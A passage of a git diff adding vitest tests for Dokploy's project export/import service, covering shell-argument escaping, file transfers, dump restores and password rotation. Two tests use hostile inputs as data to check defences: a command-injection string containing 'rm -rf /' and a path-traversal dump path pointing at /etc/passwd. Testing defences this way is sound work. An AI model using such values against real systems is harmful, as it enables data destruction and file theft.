Parameters[0], + ) => + args.source.serverId || args.target.serverId + ? pipeMock(args) + : actual.pipeBetweenServers(args), + }; + }, +); + +const local = (path: string) => ({ serverId: null, path }); + +describe("escapeShellArg", () => { + it("wraps a plain value in single quotes", () => { + expect(escapeShellArg("app-foo")).toBe("'app-foo'"); + }); + + it("neutralizes an embedded single quote (command injection attempt)", () => { + const malicious = "foo'; rm -rf / #"; + expect(escapeShellArg(malicious)).toBe("'foo'\\''; rm -rf / #'"); + }); +}); + +describe("local transfers (serverId null on both sides)", () => { + let base: string; + + beforeEach(async () => { + base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-")); + }); + + afterEach(async () => { + await rm(base, { recursive: true, force: true }); + }); + + it("copies a directory tree with copyDir, honouring excludes", async () => { + const source = join(base, "source"); + await mkdir(join(source, "nested"), { recursive: true }); + await mkdir(join(source, "node_modules"), { recursive: true }); + await writeFile(join(source, "a.txt"), "hello"); + await writeFile(join(source, "nested", "b.txt"), "world"); + await writeFile(join(source, "node_modules", "x.js"), "skip me"); + + const dest = join(base, "dest", "deep"); + await copyDir(local(source), local(dest), { exclude: ["node_modules"] }); + + expect(readFileSync(join(dest, "a.txt"), "utf8")).toBe("hello"); + expect(readFileSync(join(dest, "nested", "b.txt"), "utf8")).toBe("world"); + expect(existsSync(join(dest, "node_modules"))).toBe(false); + }); + + it("copies a single file with copyFile, creating the parent directory", async () => { + const source = join(base, "dump.sql"); + writeFileSync(source, Buffer.from([0, 1, 2, 255])); + const dest = join(base, "out", "copied-dump.sql"); + + await copyFile(local(source), local(dest)); + + expect(readFileSync(dest)).toEqual(Buffer.from([0, 1, 2, 255])); + }); + + it("writes from memory and reads back with writeFile/readFile", async () => { + const target = join(base, "nested", "it's.json"); + await writeRemoteFile(local(target), '{"a":1}'); + expect((await readFile(local(target))).toString()).toBe('{"a":1}'); + expect(await exists(local(target))).toBe(true); + expect(await fileSize(local(target))).toBe(7); + }); + + it("captures a command's stdout into a file with runToFile", async () => { + const target = join(base, "captured.txt"); + await runToFile(null, "printf 'abc'", local(target)); + expect(readFileSync(target, "utf8")).toBe("abc"); + }); + + it("removes the target when the command fails in runToFile", async () => { + const target = join(base, "partial.txt"); + await expect( + runToFile(null, "printf 'abc'; exit 3", local(target)), + ).rejects.toThrow(); + expect(existsSync(target)).toBe(false); + }); + + it("remove is a no-op for a missing path and exists reports false", async () => { + const target = join(base, "missing"); + await expect(remove(local(target))).resolves.toBeUndefined(); + expect(await exists(local(target))).toBe(false); + }); +}); + +describe("transfers between different servers go through pipeBetweenServers", () => { + let base: string; + + beforeEach(async () => { + base = await mkdtemp(join(tmpdir(), "transfer-remote-fs-ssh-")); + pipeMock.mockReset(); + }); + + afterEach(async () => { + await rm(base, { recursive: true, force: true }); + }); + + it("copyFile removes the local target when the remote side fails", async () => { + const target = join(base, "app-one.yml"); + pipeMock.mockImplementation(async () => { + writeFileSync(target, "partial"); + throw new Error("source exited with code 1: cat: No such file"); + }); + + await expect( + copyFile( + { + serverId: "server-1", + path: "/etc/dokploy/traefik/dynamic/app-one.yml", + }, + local(target), + ), + ).rejects.toThrow(/exited with code 1: cat: No such file/); + expect(existsSync(target)).toBe(false); + expect(pipeMock.mock.calls[0]?.[0].source).toEqual({ + serverId: "server-1", + command: "cat '/etc/dokploy/traefik/dynamic/app-one.yml'", + }); + }); + + it("copyDir escapes the paths and the excludes on both ends", async () => { + pipeMock.mockResolvedValue(0); + await copyDir( + { serverId: "server-1", path: "/remote/dir" }, + { serverId: "server-2", path: "/it's/local" }, + { exclude: [".git", "it's"] }, + ); + expect(pipeMock.mock.calls[0]?.[0]).toEqual({ + source: { + serverId: "server-1", + command: + "tar -czf - --exclude='.git' --exclude='it'\\''s' -C '/remote/dir' .", + }, + target: { + serverId: "server-2", + command: + "mkdir -p '/it'\\''s/local' && tar -xzf - -C '/it'\\''s/local'", + }, + }); + }); + + it("runToFile streams a command from one server into a file on another", async () => { + pipeMock.mockResolvedValue(0); + await runToFile("db-server", "pg_dump x | gzip", { + serverId: "build-server", + path: "/etc/dokploy/project-export-import/x/dumps/pg.sql.gz", + }); + expect(pipeMock.mock.calls[0]?.[0]).toEqual({ + source: { serverId: "db-server", command: "pg_dump x | gzip" }, + target: { + serverId: "build-server", + command: + "mkdir -p '/etc/dokploy/project-export-import/x/dumps' && cat > '/etc/dokploy/project-export-import/x/dumps/pg.sql.gz'", + }, + }); + }); +}); diff --git a/apps/dokploy/__test__/export-import/requirements.test.ts b/apps/dokploy/__test__/export-import/requirements.test.ts new file mode 100644 index 000000000..2166352e7 --- /dev/null +++ b/apps/dokploy/__test__/export-import/requirements.test.ts @@ -0,0 +1,334 @@ +import type { + ExportScope, + TransferDb, +} from "@dokploy/server/services/project-export-import"; +import { detectRequirements } from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const baseScope: ExportScope = { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, +}; + +const baseApplication = { + applicationId: "app-1", + name: "app-1", + env: "", + buildArgs: null, + buildSecrets: null, + previewEnv: null, + serverId: null, + buildServerId: null, + githubId: null, + gitlabId: null, + giteaId: null, + bitbucketId: null, + owner: null, + repository: null, + registryId: null, + buildRegistryId: null, + rollbackRegistryId: null, + customGitSSHKeyId: null, + customGitSSHKey: null, + networkIds: [], + domains: [], + backups: undefined, + volumeBackups: [], +}; + +const emptyServiceArrays = { + compose: [], + mysql: [], + mariadb: [], + mongo: [], + redis: [], + libsql: [], +}; + +const buildTree = (application: Record) => ({ + projectId: "project-1", + name: "my-project", + organizationId: "org-1", + env: "", + environments: [ + { + environmentId: "env-1", + name: "production", + env: "", + applications: [application], + postgres: [], + ...emptyServiceArrays, + }, + ], +}); + +const fakeDb = (overrides: Record = {}): TransferDb => + ({ + query: { + vaultProvider: { findMany: async () => [] }, + destinations: { findMany: async () => [] }, + registry: { findMany: async () => [] }, + network: { findMany: async () => [] }, + certificates: { findMany: async () => [] }, + ...overrides, + }, + }) as any as TransferDb; + +describe("detectRequirements", () => { + it("detects a vault requirement grouping every secretKey referenced", async () => { + const application = { + ...baseApplication, + env: "DB_PASS=${{vault.prod.DB_PASS}}\nAPI=${{vault.prod.API}}", + }; + const db = fakeDb({ + vaultProvider: { + findMany: async () => [ + { + vaultProviderId: "vault-1", + name: "prod", + providerType: "hashicorp", + organizationId: "org-1", + }, + ], + }, + }); + + const requirements = await detectRequirements( + db, + buildTree(application) as any, + baseScope, + ); + + const vaultReqs = requirements.filter((r) => r.kind === "vault"); + expect(vaultReqs).toHaveLength(1); + expect(vaultReqs[0]).toMatchObject({ + kind: "vault", + originalId: "vault-1", + providerName: "prod", + providerType: "hashicorp", + }); + expect((vaultReqs[0] as any).secretKeys.sort()).toEqual(["API", "DB_PASS"]); + }); + + it("merges registry + buildRegistry into one requirement with both roles", async () => { + const application = { + ...baseApplication, + registryId: "registry-1", + buildRegistryId: "registry-1", + }; + const db = fakeDb({ + registry: { + findMany: async () => [ + { + registryId: "registry-1", + registryUrl: "https://registry.example.com", + imagePrefix: "acme", + }, + ], + }, + }); + + const requirements = await detectRequirements( + db, + buildTree(application) as any, + baseScope, + ); + + const registryReqs = requirements.filter((r) => r.kind === "registry"); + expect(registryReqs).toHaveLength(1); + expect((registryReqs[0] as any).role.sort()).toEqual([ + "buildRegistry", + "registry", + ]); + }); + + it("emits a single server requirement with originalId null for services with no serverId", async () => { + const application = { ...baseApplication, serverId: null }; + const requirements = await detectRequirements( + fakeDb(), + buildTree(application) as any, + baseScope, + ); + + const serverReqs = requirements.filter((r) => r.kind === "server"); + expect(serverReqs).toHaveLength(1); + expect(serverReqs[0]?.originalId).toBeNull(); + expect(serverReqs[0]?.usedBy).toHaveLength(1); + }); + + it("detects a gitProvider requirement with owner/repo", async () => { + const application = { + ...baseApplication, + githubId: "gh-1", + owner: "acme", + repository: "app", + }; + const requirements = await detectRequirements( + fakeDb(), + buildTree(application) as any, + baseScope, + ); + + const gitReqs = requirements.filter((r) => r.kind === "gitProvider"); + expect(gitReqs).toHaveLength(1); + expect(gitReqs[0]).toMatchObject({ + providerType: "github", + originalId: "gh-1", + }); + expect((gitReqs[0] as any).repositories).toEqual([ + { owner: "acme", repo: "app" }, + ]); + }); + + it("detects a destination requirement from a backup FK", async () => { + const application = { + ...baseApplication, + volumeBackups: [{ destinationId: "dest-1" }], + }; + const db = fakeDb({ + destinations: { + findMany: async () => [ + { + destinationId: "dest-1", + bucket: "my-bucket", + endpoint: "s3.example.com", + region: "us-east-1", + }, + ], + }, + }); + + const requirements = await detectRequirements( + db, + buildTree(application) as any, + baseScope, + ); + + const destReqs = requirements.filter((r) => r.kind === "destination"); + expect(destReqs).toHaveLength(1); + expect(destReqs[0]).toMatchObject({ + originalId: "dest-1", + bucket: "my-bucket", + endpoint: "s3.example.com", + region: "us-east-1", + }); + }); + + it("resolves network names for referenced networkIds", async () => { + const application = { ...baseApplication, networkIds: ["net-1"] }; + const db = fakeDb({ + network: { + findMany: async () => [{ networkId: "net-1", name: "shared-net" }], + }, + }); + + const requirements = await detectRequirements( + db, + buildTree(application) as any, + baseScope, + ); + + const networkReqs = requirements.filter((r) => r.kind === "network"); + expect(networkReqs).toHaveLength(1); + expect(networkReqs[0]).toMatchObject({ + originalId: "net-1", + name: "shared-net", + }); + }); + + it("detects a certificate requirement via customCertResolver, not a direct FK", async () => { + const application = { + ...baseApplication, + domains: [ + { + domainId: "dom-1", + certificateType: "custom", + customCertResolver: "cert-path-abc", + }, + ], + }; + const db = fakeDb({ + certificates: { + findMany: async () => [ + { + certificateId: "cert-1", + certificatePath: "cert-path-abc", + certificateData: + "-----BEGIN CERTIFICATE-----\nabc\n-----END CERTIFICATE-----", + serverId: "server-1", + }, + ], + }, + }); + + const requirements = await detectRequirements( + db, + buildTree(application) as any, + baseScope, + ); + + const certReqs = requirements.filter((r) => r.kind === "certificate"); + expect(certReqs).toHaveLength(1); + expect(certReqs[0]?.originalId).toBe("cert-1"); + expect((certReqs[0] as any).fingerprint).toMatch(/^[a-f0-9]{64}$/); + expect((certReqs[0] as any).serverId).toBe("server-1"); + }); + + it("dedupes requirements used by multiple services into one entry with combined usedBy", async () => { + const application1 = { + ...baseApplication, + applicationId: "app-1", + serverId: "server-1", + }; + const application2 = { + ...baseApplication, + applicationId: "app-2", + serverId: "server-1", + }; + const tree = buildTree(application1) as any; + tree.environments[0].applications.push(application2); + + const requirements = await detectRequirements(fakeDb(), tree, baseScope); + const serverReqs = requirements.filter((r) => r.kind === "server"); + expect(serverReqs).toHaveLength(1); + expect(serverReqs[0]?.usedBy).toHaveLength(2); + }); + + it("only scans services actually within scope.serviceIds", async () => { + const included = { + ...baseApplication, + applicationId: "app-included", + githubId: "gh-1", + owner: "acme", + repository: "included-repo", + }; + const excluded = { + ...baseApplication, + applicationId: "app-excluded", + githubId: "gh-1", + owner: "acme", + repository: "excluded-repo", + }; + const tree = buildTree(included) as any; + tree.environments[0].applications.push(excluded); + + const requirements = await detectRequirements(fakeDb(), tree, { + ...baseScope, + serviceIds: ["app-included"], + }); + + const gitReqs = requirements.filter((r) => r.kind === "gitProvider"); + expect(gitReqs).toHaveLength(1); + expect((gitReqs[0] as any).repositories).toEqual([ + { owner: "acme", repo: "included-repo" }, + ]); + }); +}); diff --git a/apps/dokploy/__test__/export-import/resolve.test.ts b/apps/dokploy/__test__/export-import/resolve.test.ts new file mode 100644 index 000000000..8cdda0323 --- /dev/null +++ b/apps/dokploy/__test__/export-import/resolve.test.ts @@ -0,0 +1,285 @@ +import { createHash } from "node:crypto"; +import type { + Requirement, + Snapshot, + TransferDb, +} from "@dokploy/server/services/project-export-import"; +import { + LOCAL_SERVER_CANDIDATE_ID, + proposeResolutions, + requirementKey, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +const CERT_FINGERPRINT = createHash("sha256") + .update("cert-data-1") + .digest("hex"); + +const vaultRequirement: Requirement = { + kind: "vault", + originalId: "vault-src", + configIncluded: false, + usedBy: [], + providerName: "prod", + providerType: "hashicorp", + secretKeys: [], +}; +const gitProviderRequirement: Requirement = { + kind: "gitProvider", + originalId: "gh-src", + configIncluded: false, + usedBy: [], + providerType: "github", + repositories: [], +}; +const destinationRequirement: Requirement = { + kind: "destination", + originalId: "dest-src", + configIncluded: true, + usedBy: [], + bucket: "my-bucket", + endpoint: "https://s3.example.com", + region: "us-east-1", +}; +const registryRequirement: Requirement = { + kind: "registry", + originalId: "reg-src", + configIncluded: true, + usedBy: [], + registryUrl: "https://registry.example.com", + imagePrefix: "acme", + role: ["registry"], +}; +const sshKeyRequirement: Requirement = { + kind: "sshKey", + originalId: "key-src", + configIncluded: true, + usedBy: [], + publicKey: "ssh-ed25519 AAAAtest", +}; +const networkRequirement: Requirement = { + kind: "network", + originalId: "net-src", + configIncluded: false, + usedBy: [], + name: "my-network", +}; +const certificateRequirement: Requirement = { + kind: "certificate", + originalId: "cert-src", + configIncluded: false, + usedBy: [], + fingerprint: CERT_FINGERPRINT, + serverId: null, +}; +const serverRequirement: Requirement = { + kind: "server", + originalId: "server-src", + configIncluded: false, + usedBy: [], +}; + +const requirements: Requirement[] = [ + vaultRequirement, + gitProviderRequirement, + destinationRequirement, + registryRequirement, + sshKeyRequirement, + networkRequirement, + certificateRequirement, + serverRequirement, +]; + +const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: true, + composeFiles: true, + traefikRaw: true, + customCertificates: true, + }, + dumps: { mode: "none" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { project: {}, environments: [], services: [], shared: {} }, + requirements, + warnings: [], + dumps: [], +}; + +const fakeDb = (): TransferDb => + ({ + query: { + vaultProvider: { + findMany: async () => [ + { + vaultProviderId: "vault-dest-1", + name: "prod", + providerType: "hashicorp", + organizationId: "org-dest", + }, + ], + }, + gitProvider: { + findMany: async () => [ + { + gitProviderId: "gh-dest-1", + name: "Acme GitHub", + providerType: "github", + organizationId: "org-dest", + }, + ], + }, + destinations: { findMany: async () => [] }, + registry: { + findMany: async () => [ + { + registryId: "reg-dest-1", + registryName: "Acme Registry", + registryUrl: "https://other.example.com", + imagePrefix: "other", + organizationId: "org-dest", + }, + ], + }, + sshKeys: { + findMany: async () => [ + { + sshKeyId: "key-dest-1", + name: "deploy key", + publicKey: "ssh-ed25519 AAAAtest", + organizationId: "org-dest", + }, + ], + }, + network: { + findMany: async () => [ + { + networkId: "net-dest-1", + name: "other-network", + organizationId: "org-dest", + }, + ], + }, + certificates: { findMany: async () => [] }, + server: { + findMany: async () => [ + { + serverId: "server-dest-1", + name: "prod-server", + organizationId: "org-dest", + }, + ], + }, + }, + }) as any as TransferDb; + +describe("proposeResolutions", () => { + it("resolves vault by name + providerType match", async () => { + const result = await proposeResolutions(fakeDb(), snapshot, "org-dest"); + expect(result[requirementKey(vaultRequirement)]).toEqual({ + status: "resolved", + targetId: "vault-dest-1", + }); + }); + + it("never auto-resolves gitProvider, always mappable/missing by type", async () => { + const result = await proposeResolutions(fakeDb(), snapshot, "org-dest"); + expect(result[requirementKey(gitProviderRequirement)]).toEqual({ + status: "mappable", + candidates: [{ id: "gh-dest-1", name: "Acme GitHub" }], + }); + }); + + it("proposes createable for destination when configIncluded and no match", async () => { + const result = await proposeResolutions(fakeDb(), snapshot, "org-dest"); + expect(result[requirementKey(destinationRequirement)]).toEqual({ + status: "createable", + candidates: [], + }); + }); + + it("proposes createable for registry with existing-org candidates attached when no exact match", async () => { + const result = await proposeResolutions(fakeDb(), snapshot, "org-dest"); + expect(result[requirementKey(registryRequirement)]).toEqual({ + status: "createable", + candidates: [{ id: "reg-dest-1", name: "Acme Registry" }], + }); + }); + + it("resolves sshKey by exact publicKey match", async () => { + const result = await proposeResolutions(fakeDb(), snapshot, "org-dest"); + expect(result[requirementKey(sshKeyRequirement)]).toEqual({ + status: "resolved", + targetId: "key-dest-1", + }); + }); + + it("proposes mappable for network when configIncluded is false and no exact match but candidates exist", async () => { + const result = await proposeResolutions(fakeDb(), snapshot, "org-dest"); + expect(result[requirementKey(networkRequirement)]).toEqual({ + status: "mappable", + candidates: [{ id: "net-dest-1", name: "other-network" }], + }); + }); + + it("resolves certificate by recomputed fingerprint match", async () => { + const withMatchingCert: TransferDb = { + query: { + ...(fakeDb() as any).query, + certificates: { + findMany: async () => [ + { + certificateId: "cert-dest-1", + name: "prod cert", + certificateData: "cert-data-1", + organizationId: "org-dest", + }, + ], + }, + }, + } as any; + const result = await proposeResolutions( + withMatchingCert, + snapshot, + "org-dest", + ); + expect(result[requirementKey(certificateRequirement)]).toEqual({ + status: "resolved", + targetId: "cert-dest-1", + }); + }); + + it("proposes missing for certificate when no fingerprint match and configIncluded is false", async () => { + const result = await proposeResolutions(fakeDb(), snapshot, "org-dest"); + expect(result[requirementKey(certificateRequirement)]).toEqual({ + status: "missing", + }); + }); + + it("is always mappable for server, offering the local-server sentinel alongside org servers", async () => { + const result = await proposeResolutions(fakeDb(), snapshot, "org-dest"); + expect(result[requirementKey(serverRequirement)]).toEqual({ + status: "mappable", + candidates: [ + { id: LOCAL_SERVER_CANDIDATE_ID, name: "Local server" }, + { id: "server-dest-1", name: "prod-server" }, + ], + }); + }); +}); diff --git a/apps/dokploy/__test__/export-import/restore.test.ts b/apps/dokploy/__test__/export-import/restore.test.ts new file mode 100644 index 000000000..b5a32f67c --- /dev/null +++ b/apps/dokploy/__test__/export-import/restore.test.ts @@ -0,0 +1,368 @@ +import type { + Snapshot, + TransferDb, + TransferResult, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it, vi } from "vitest"; + +const { failRestoreBox } = vi.hoisted(() => ({ + failRestoreBox: { value: false }, +})); + +vi.mock("@dokploy/server/utils/process/execAsync", async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/utils/process/execAsync") + >(); + return { + ...actual, + execAsync: vi.fn(async (command: string) => { + if (command.includes("pg_restore") && failRestoreBox.value) { + throw new Error("restore failed"); + } + return { stdout: "", stderr: "" }; + }), + execAsyncRemote: vi.fn(async () => ({ stdout: "", stderr: "" })), + }; +}); + +vi.mock( + "@dokploy/server/services/project-export-import/remote-fs", + async (importOriginal) => { + const actual = + await importOriginal< + typeof import("@dokploy/server/services/project-export-import/remote-fs") + >(); + return { + ...actual, + copyFile: vi.fn(async () => {}), + remove: vi.fn(async () => {}), + }; + }, +); + +const { + restoreDumps, + buildRestoreCommand, + buildWaitReadyScript, + buildReadyProbe, + waitUntilReady, +} = await import("@dokploy/server/services/project-export-import"); +const { remove, copyFile } = await import( + "@dokploy/server/services/project-export-import/remote-fs" +); + +describe("buildRestoreCommand", () => { + it("pipes decompressed bytes into the restore command for postgres", () => { + const command = buildRestoreCommand( + "postgres", + { + appName: "my-db-abc123", + databaseName: "mydb", + databaseUser: "dokploy", + }, + "/tmp/dokploy-import-restore-pg-1.sql.gz", + ); + expect(command).toContain( + "gunzip -c '/tmp/dokploy-import-restore-pg-1.sql.gz'", + ); + expect(command).toContain("pg_restore"); + expect(command).toContain("my-db-abc123"); + }); + + it("uses the mysql root password, not databasePassword, for the restore command", () => { + const command = buildRestoreCommand( + "mysql", + { + appName: "my-mysql-abc123", + databaseName: "mydb", + databasePassword: "not-the-root-password", + databaseRootPassword: "the-real-root-password", + }, + "/tmp/dokploy-import-restore-mysql-1.sql.gz", + ); + expect(command).toContain("the-real-root-password"); + expect(command).not.toContain("not-the-root-password"); + }); + + it("strips USE/CREATE DATABASE statements for mariadb (multi-db dump safety)", () => { + const command = buildRestoreCommand( + "mariadb", + { + appName: "my-mariadb-abc123", + databaseName: "mydb", + databaseUser: "dokploy", + databasePassword: "pass", + }, + "/tmp/dokploy-import-restore-mariadb-1.sql.gz", + ); + expect(command).toContain("grep -viE"); + }); + + it("restores the whole mongo archive through stdin, skipping admin/config, with --drop", () => { + const command = buildRestoreCommand( + "mongo", + { + appName: "my-mongo-abc123", + databaseUser: "dokploy", + databasePassword: "pass", + }, + "/tmp/dokploy-import-restore-mongo-1.archive.gz", + ); + expect(command).toContain( + 'mongorestore -u "$DB_USER" -p "$DB_PASS" --authenticationDatabase admin --nsExclude "admin.*" --nsExclude "config.*" --archive --gzip --drop', + ); + expect(command).toContain( + "< '/tmp/dokploy-import-restore-mongo-1.archive.gz'", + ); + expect(command).not.toContain("--db"); + }); +}); + +describe("buildRestoreCommand for libsql", () => { + it("replaces sqld's data directory from the tarball and restarts the service", () => { + const command = buildRestoreCommand( + "libsql", + { appName: "my-libsql-abc123" }, + "/tmp/dokploy-import-restore-l.tar.gz", + ); + expect(command).toContain( + "rm -rf /var/lib/sqld/iku.db && tar xzf - -C /var/lib/sqld", + ); + expect(command).toContain("< '/tmp/dokploy-import-restore-l.tar.gz'"); + expect(command).toContain( + "docker service update --force 'my-libsql-abc123'", + ); + }); +}); + +describe("buildReadyProbe", () => { + it("runs a credentialed query rather than a liveness ping", () => { + expect( + buildReadyProbe("postgres", { databaseUser: "u", databaseName: "d" }), + ).toBe('psql -U u -d d -tAc "SELECT 1"'); + expect( + buildReadyProbe("mysql", { databaseRootPassword: "r00t" }), + ).toContain("mysql -uroot --password=r00t"); + expect( + buildReadyProbe("mariadb", { databaseUser: "u", databasePassword: "p" }), + ).toContain("mariadb -uu --password=p"); + expect( + buildReadyProbe("mongo", { + databaseUser: "u", + databasePassword: "p", + databaseName: "d", + }), + ).toContain( + 'then mongosh --quiet -u u -p p --authenticationDatabase admin --eval "db.adminCommand({ping: 1}).ok"; else mongo ', + ); + }); +}); + +describe("waitUntilReady", () => { + it("needs consecutive successes so a first-init throwaway server doesn't count", async () => { + const { execAsync } = await import( + "@dokploy/server/utils/process/execAsync" + ); + const previous = (execAsync as any).getMockImplementation(); + const outcomes = [true, true, false, true, true, true]; + let calls = 0; + (execAsync as any).mockImplementation(async (command: string) => { + if (!command.includes("SELECT 1")) return { stdout: "", stderr: "" }; + const ok = outcomes[calls++] ?? true; + if (!ok) throw new Error("the database system is shutting down"); + return { stdout: "1", stderr: "" }; + }); + try { + await waitUntilReady(null, "db-app", 'psql -tAc "SELECT 1"', { + intervalMs: 0, + stableSuccesses: 3, + }); + } finally { + (execAsync as any).mockImplementation(previous); + } + expect(calls).toBe(6); + }); +}); + +describe("buildWaitReadyScript", () => { + it("guards against an empty CONTAINER_ID before exec'ing the probe", () => { + const script = buildWaitReadyScript("my-db-abc123", "pg_isready"); + expect(script).toContain('if [ -z "$CONTAINER_ID" ]; then exit 1; fi'); + expect(script).toContain("docker exec"); + expect(script).toContain("pg_isready"); + }); +}); + +const snapshot: Snapshot = { + manifest: { + format: "dokploy-project-export", + formatVersion: 1, + exportedAt: "2024-01-01T00:00:00.000Z", + exportedBy: { userId: "user-1", email: "a@b.com" }, + sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-1" }, + scope: { + includeEnvSecrets: true, + shared: {}, + files: { + applicationSources: false, + composeFiles: false, + traefikRaw: false, + customCertificates: false, + }, + dumps: { mode: "embed" }, + includeBackupSchedules: true, + }, + crypto: { + salt: "c2FsdA==", + kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 }, + keyCheck: "{}", + }, + counts: {}, + }, + resources: { + project: {}, + environments: [], + services: [], + shared: {}, + }, + requirements: [], + warnings: [], + dumps: [ + { + serviceId: "pg-1", + serviceType: "postgres", + mode: "embed", + ext: "sql.gz", + path: "dumps/pg-1.sql.gz", + bytes: 100, + }, + ], +}; + +const dbFor = (): TransferDb => + ({ + query: { + postgres: { + findFirst: async () => ({ + postgresId: "pg-new-1", + appName: "my-db-new-1", + databaseName: "mydb", + databaseUser: "dokploy", + databasePassword: "p", + serverId: null, + }), + }, + destinations: { findFirst: async () => undefined }, + }, + }) as any as TransferDb; + +const resultFor = (): TransferResult => + ({ + idMap: { postgres: { "pg-1": "pg-new-1" } }, + }) as any as TransferResult; + +describe("restoreDumps uses the workspace dump directly when it already sits on the target server", () => { + it("neither copies nor removes anything and restores from the workspace path", async () => { + failRestoreBox.value = false; + vi.mocked(remove).mockClear(); + vi.mocked(copyFile).mockClear(); + + const errors = await restoreDumps( + dbFor(), + snapshot, + resultFor(), + { serverId: null, path: "/tmp/work" }, + { + readiness: { intervalMs: 0, stableSuccesses: 1 }, + deploy: { postgres: async () => {} }, + }, + ); + + expect(errors).toHaveLength(0); + expect(copyFile).not.toHaveBeenCalled(); + expect(remove).not.toHaveBeenCalled(); + }); +}); + +describe("restoreDumps cleans up the copied remote dump file (T-5.8)", () => { + it("removes the remote dump path after a successful restore", async () => { + failRestoreBox.value = false; + vi.mocked(remove).mockClear(); + + const errors = await restoreDumps( + dbFor(), + snapshot, + resultFor(), + { serverId: "workspace-server", path: "/tmp/work" }, + { + readiness: { intervalMs: 0, stableSuccesses: 1 }, + deploy: { postgres: async () => {} }, + }, + ); + + expect(errors).toHaveLength(0); + expect(remove).toHaveBeenCalledWith({ + serverId: null, + path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz", + }); + }); + + it("still removes the remote dump path when the restore command itself fails", async () => { + failRestoreBox.value = true; + vi.mocked(remove).mockClear(); + + const errors = await restoreDumps( + dbFor(), + snapshot, + resultFor(), + { serverId: "workspace-server", path: "/tmp/work" }, + { + readiness: { intervalMs: 0, stableSuccesses: 1 }, + deploy: { postgres: async () => {} }, + }, + ); + + expect(errors).toHaveLength(1); + expect(remove).toHaveBeenCalledWith({ + serverId: null, + path: "/tmp/dokploy-import-restore-pg-new-1.sql.gz", + }); + + failRestoreBox.value = false; + }); +}); + +describe("restoreDumps rejects an unsafe dump.path (T-9.1)", () => { + it("never copies the dump and reports a restore error for a path-traversal dump.path", async () => { + vi.mocked(copyFile).mockClear(); + const maliciousSnapshot: Snapshot = { + ...snapshot, + dumps: [ + { + serviceId: "pg-1", + serviceType: "postgres", + mode: "embed", + ext: "sql.gz", + path: "../../../../etc/passwd", + bytes: 100, + }, + ], + }; + + const errors = await restoreDumps( + dbFor(), + maliciousSnapshot, + resultFor(), + { serverId: "workspace-server", path: "/tmp/work" }, + { + readiness: { intervalMs: 0, stableSuccesses: 1 }, + deploy: { postgres: async () => {} }, + }, + ); + + expect(copyFile).not.toHaveBeenCalled(); + expect(errors).toHaveLength(1); + expect(errors[0]?.error).toContain("Unsafe path in bundle"); + }); +}); diff --git a/apps/dokploy/__test__/export-import/rotate.test.ts b/apps/dokploy/__test__/export-import/rotate.test.ts new file mode 100644 index 000000000..3daf04bd1 --- /dev/null +++ b/apps/dokploy/__test__/export-import/rotate.test.ts @@ -0,0 +1,548 @@ +import { + applications, + mounts, + postgres, + projects, +} from "@dokploy/server/db/schema"; +import type { + ExportScope, + Plan, + Snapshot, + TransferDb, + TransferWriteDb, +} from "@dokploy/server/services/project-export-import"; +import { + apply, + buildPlan, + buildRotationPlan, + capture, + detectRequirements, + detectWarnings, + rotateText, +} from "@dokploy/server/services/project-export-import"; +import { describe, expect, it } from "vitest"; + +describe("rotateText", () => { + it("replaces both the literal and URL-encoded form of the old password", () => { + const specs = [ + { + serviceId: "pg-new-1", + serviceType: "postgres" as const, + field: "databasePassword" as const, + oldPassword: "p@ss", + newPassword: "n3wpass", + }, + ]; + const { text, matched } = rotateText( + "DATABASE_URL=postgres://user:p%40ss@host/db", + specs, + ); + expect(text).toBe("DATABASE_URL=postgres://user:n3wpass@host/db"); + expect(matched).toHaveLength(1); + expect(matched[0]?.count).toBe(1); + }); + + it("counts multiple literal occurrences across the text", () => { + const specs = [ + { + serviceId: "pg-new-1", + serviceType: "postgres" as const, + field: "databasePassword" as const, + oldPassword: "oldpass", + newPassword: "newpass", + }, + ]; + const { text, matched } = rotateText( + "A=oldpass\nB=oldpass\nC=unrelated", + specs, + ); + expect(text).toBe("A=newpass\nB=newpass\nC=unrelated"); + expect(matched[0]?.count).toBe(2); + }); + + it("leaves text untouched and reports no match when the password isn't present", () => { + const specs = [ + { + serviceId: "pg-new-1", + serviceType: "postgres" as const, + field: "databasePassword" as const, + oldPassword: "oldpass", + newPassword: "newpass", + }, + ]; + const { text, matched } = rotateText("nothing to see here", specs); + expect(text).toBe("nothing to see here"); + expect(matched).toHaveLength(0); + }); + + it("processes the longer old password first so a short password isn't spliced into a longer, unrelated one", () => { + const specs = [ + { + serviceId: "svc-a", + serviceType: "postgres" as const, + field: "databasePassword" as const, + oldPassword: "secret", + newPassword: "A_NEW", + }, + { + serviceId: "svc-b", + serviceType: "postgres" as const, + field: "databasePassword" as const, + oldPassword: "mysecret123", + newPassword: "B_NEW", + }, + ]; + const { text } = rotateText( + "A=secret\nB=postgres://u:mysecret123@host/db", + specs, + ); + expect(text).toBe("A=A_NEW\nB=postgres://u:B_NEW@host/db"); + }); +}); + +describe("buildRotationPlan", () => { + it("gives databasePassword and databaseRootPassword the same new value when the source used the same value for both", async () => { + const tx = { + query: { + mysql: { + findFirst: async () => ({ + mysqlId: "mysql-new-1", + databasePassword: "sharedpass", + databaseRootPassword: "sharedpass", + }), + }, + }, + } as any; + const snapshot = { + resources: { + services: [ + { + kind: "mysql", + mysqlId: "mysql-old-1", + }, + ], + }, + } as any; + const serviceIdMap = { mysql: { "mysql-old-1": "mysql-new-1" } }; + + const { specs } = await buildRotationPlan(tx, snapshot, serviceIdMap); + + 